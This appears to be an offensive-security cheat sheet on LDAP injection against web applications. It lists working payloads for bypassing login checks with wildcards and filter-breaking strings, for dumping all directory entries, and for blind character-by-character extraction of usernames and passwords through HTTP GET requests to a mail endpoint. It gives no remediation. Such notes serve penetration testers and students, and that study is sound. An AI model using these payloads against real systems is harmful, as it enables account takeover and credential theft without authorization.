LDAP Injection
Lightweight Directory Access Protocol (LDAP) is a protocol used to access directory servers such as Active Directory (AD) via queries to retrieve information. Web applications may use LDAP for integration with AD or other directory services for authentication or data retrieval purposes.
LDAP Fundamentals
Authentication Bypass
LDAP is commonly used to enable Active Directory users to access web applications. Considering an example of a web application that allows users to login using their username and password, we may suppose the underlying search query is:
(&(uid=input-username)(password=input-password))This authentication mechanism can be bypassed in several ways:
Using Wildcards
If you know any valid username (such as admin), you might input:
username = admin
password = *to gain the following query, allowing you to login as admin without their password:
(&(uid=admin)(password=*))If you don't know any valid user, you can try using a wildcard for both parameters to make the search query return all users. This will most probably make you login as the first user returned by the query.
(&(uid=*)(password=*))Without Wildcards
Wildcard operators might be blacklisted by the web application. In those cases, it is useful to leverage arithmetic logic units to create conditions that will always be true.
If you know a valid username (such as admin), you might input:
username = admin)(|(&
password = wrong)To gain the following query:
(&(uid=admin)(|(&)(password=wrong))Step by step, this query is resolved to: -> (username=admin) AND (true OR password=wrong) --> (username=admin) AND (true OR false) ---> (username=admin) AND true
allowing you to bypass the password check and login as the admin user
Data Exfiltration
The easiest case of data exfiltration is when a search query displays the names of the entries displayed.
For example, consider you can input the uid parameter and the underlying query is the following
User Input:
uid = admin
Resulting Query:
(&(uid=admin)(objectClass=account))You can easily retrieve all user's informations using a wildcard:
User Input:
uid = *
Resulting Query:
(&(uid=*)(objectClass=account))Blind Exfiltration
Since LDAP does not provide a function similar to SQL's sleep, we need an indicator by the web application that informs us whether the query returns any results or not.
Consider a web application that allows sending emails to users.
GET /mail.php?username=example&text=anything HTTP/1.1If the provided username is valid, the web application responds with "Mail sent", otherwise it responds with a generic error, without providing any additional info. In that case, you can confirm whether an LDAP injection is in place by simply injecting a LDAP payload such as a wildcard:
GET /mail.php?username=*&text=anything HTTP/1.1If the LDAP injection exists, the web application will respond with "Mail sent", sending the email to the first username it found from the matching query.
In this example, we can bruteforce valid usernames by using queries containing substrings, one character at a time, for example:
GET /mail.php?username=s*&text=anything HTTP/1.1
GET /mail.php?username=sf*&text=anything HTTP/1.1
GET /mail.php?username=sfo*&text=anything HTTP/1.1
GET /mail.php?username=sfof*&text=anything HTTP/1.1
GET /mail.php?username=sfoff*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo&text=anything HTTP/1.1Since the web application's response allows understanding whether the mail was sent, we can understand if a new character is valid.
After identifying a valid username, we may also try exfiltrating the user's password by injecting an AND clause that iterates again on the password attribute, for example:
GET /mail.php?username=sfoffo)(password=*&text=anything HTTP/1.1If the email is successfully sent, the password attribute exists and can be injected, meaning you can proceed with the same iteration until you fully match the user's password.
GET /mail.php?username=sfoffo)(password=i*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo)(password=it*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo)(password=ita*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo)(password=ital*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo)(password=italy&text=anything HTTP/1.1